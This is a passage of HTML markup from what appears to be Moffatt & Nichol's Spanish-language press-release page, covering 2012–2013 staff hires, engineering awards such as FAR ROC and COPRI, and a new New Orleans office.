tareas.\r\n\r\n“Estoy emocionado de utilizar mis conocimientos para contribuir con el crecimiento  y éxito del equipo de Moffatt & Nichol”, comentó el Sr. Rai. “Quiero agradecer al personal por recibirme a bordo con gran profesionalismo y actitud positiva. Espero poder trabajar y conocerlos a todos”. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"21\">Moffatt &amp; Nichol Se Destaca Con Una Mención Honorífica En La Competencia De Diseño “Por Un Rockaway Revivificado” (FAR ROC) En New York</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\" alt=\"\" width=\"500\" height=\"374\" /></a>\r\n\r\nLONG EACH, CA. Diciembre 17, 2013 – Como parte de un equipo, Moffatt & Nichol recientemente obtuvo la mención honorífica en la competencia internacional de diseño FAR ROC, con su plan de renovación de 80 acres en Arverne East en Rockaway, un comunidad costera fuertemente golpeada por la super tormenta Sandy más de un año atrás. \r\n\r\nMoffatt & Nichol fue el líder de la ingeniería costera para un equipo de 17 miembros dirigidos por Mithūn - sede en Seattle, Washington. La propuesta del equipo ofreció siete pasos para un sitio flexible y sostenible, que en el futuro sea capaz de resistir cualquier devastador desastre natural como lo fue Sandy. La idea comenzó con rodear el actual patrón de la tierra; expandir las fronteras; elevar las zonas de desarrollo; extender la infraestructura en fases completas; dotar de un distrito maestro; mejorar y reavivar la comunidad existente y preparar para cambios a largo plazo. \r\n\r\nLas comunidades costeras como Arverne East sufrieron algunos de los peores daños por la tormenta Sandy. Sin embargo, comunidades costeras cercanas como Arverne by the Sea se mantuvieron bastante bien gracias a drenajes pluviales mejorados, sitios elevados e infraestructuras fuertes, lecciones que Moffatt & Nichol incorporó en el plan a largo plazo para la costa de Arverne East. La propuesta incluyó la ampliación de la playa, veredas, mejoramiento de dunas, una explanada elevada y una forma urbana convexa. \r\n\r\n“Este esfuerzo fue único en el sentido de que el equipo desarrolló un plan creativo que consideró las incertidumbres para las futuras elevaciones del nivel del mar, aumento de la frecuencia de las tormentas y aumento de la densidad urbana en una solución práctica que es viable, financiable, y asegurable”, dijo Robert Sloop, Gerente de Proyecto Costero para el equipo de Moffatt & Nichol. La propuesta de diseño fue seleccionada entre 117 opciones de más de 20 países. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"20\">Moffatt &amp; Nichol Recibe Premio ACEC/NC Award Por Diseño De Sistemas De Manejo De Aguas Pluviales De La Whalehead Subdivision</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\" alt=\"\" width=\"500\" height=\"400\" /></a>\r\n\r\nRALEIGH, NC, Diciembre 16, 2013 – Moffatt & Nichol recibió el Premio Honorífico por Excelencia en la Ingeniería en la categoría agua / y aguas residuales por el diseño del sistema de manejo de agua residual de Whalehead Subdivision en el Condado de Currituck, Carolina del Norte, premio otorgado por el American Council of Engineering Companies, Carolina del Norte (ACEC/NC).\r\n\r\nMoffatt & Nichol proporcionó el diseño preliminar y final, documentos de construcción y administración limitada de la construcción, para el desarrollo en fases de un sistema de disminución del nivel freático. El sistema consiste en el bombeo de las aguas infiltradas a través de tuberías que llegan a las lagunas de bioretención, que posteriormente fluyen hacia Currituck Sound. Este estudio implicó la planeación maestra de las aguas pluviales, reemplazando las calles existentes con veredas y cuencas de bioretención con vegetación propia del lugar. También incluyó la instalación de tuberías de drenaje debajo de las cuencas y el bombeo de agua desde las tuberías de drenaje hacia una red de tuberías de impulsión que conducían hacia lagunas adyacentes a Currituck Sound.  \r\n\r\n“Moffatt & Nichol se siente honrado en haber contribuido con este proyecto dirigido a la comunidad”, dijo Timothy Reid, Vice Presidente de Moffatt & Nichol. “Estamos orgullosos de haber sido socios del Condado de Currituck y de los residentes de Whalehead en este innovador sistema de infiltración y bombeo,  uno de los primeros en su clase en Carolina del Norte. Este reconocimiento de ACEC/NC es un verdadero honor”. \r\n\r\nLa comunidad se beneficia con este proyecto primero a través de la reducción de las frecuentes y molestas inundaciones y la eliminación de inundaciones de larga duración después de fuertes lluvias. La remoción y reemplazo de la calle con veredas y áreas naturales también sirvió para embellecer y proveer una solución ecológica. La comunidad ha acogido el sistema que ofrece acceso público al mar y que también es una atracción, en lugar de una solución convencional.\r\n\r\nEl sistema se ha desempeñado bien durante varios huracanes y temporales del noreste y los residentes están listos para recibir las fases adicionales, comentó  Eric Weatherly, ingeniero de Currituck County. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"19\">Moffatt &amp; Nichol Abre Nuevas Oficinas En El Centro De New Orleans</h3>\r\n\r\nNEW ORLEANS, LA. Diciembre 12, 2013 – Moffatt & Nichol recientemente abrió una nueva oficina en el Pan American Building en el centro de New Orleans. Como complemento a la actual oficina de la firma en Baton Rouge, la integración de New Orleans constituye la trigésima oficina para esta firma internacional de ingeniería.\r\n\r\nBajo el liderazgo de Jonathan Hird con el cargo de Líder de Unidad de Negocios y Vicepresidente Asociado, los servicios profesionales de la firma en Luisiana se expanden de servicios de ingeniería costera a puertos intermodales, terminales marítimas, manejo de graneles, inspección y rehabilitación.  La firma ha tenido presencia en Luisiana desde 2001.\r\n\r\n“A través de contrataciones estratégicas y transferencias internas clave, nuestro equipo laboral de Luisiana ha crecido para incluir ingenieros costeros, civiles, hidráulicos, estructurales y mecánicos altamente capacitados y estamos creciendo rápido”, comentó el Sr. Hird. Estamos orgullosos de continuar sirviendo nuestros clientes locales con esta capacidad ampliada. \r\n\r\nUbicado en la ribera del río Mississippi, New Orleans es un centro de transporte crucial y un centro de distribución para el comercio que se mueve por agua. La nueva oficina servirá como instalación clave para suplir las necesidades de los clientes de Moffatt & Nichol localmente y a nivel mundial. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de “amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" 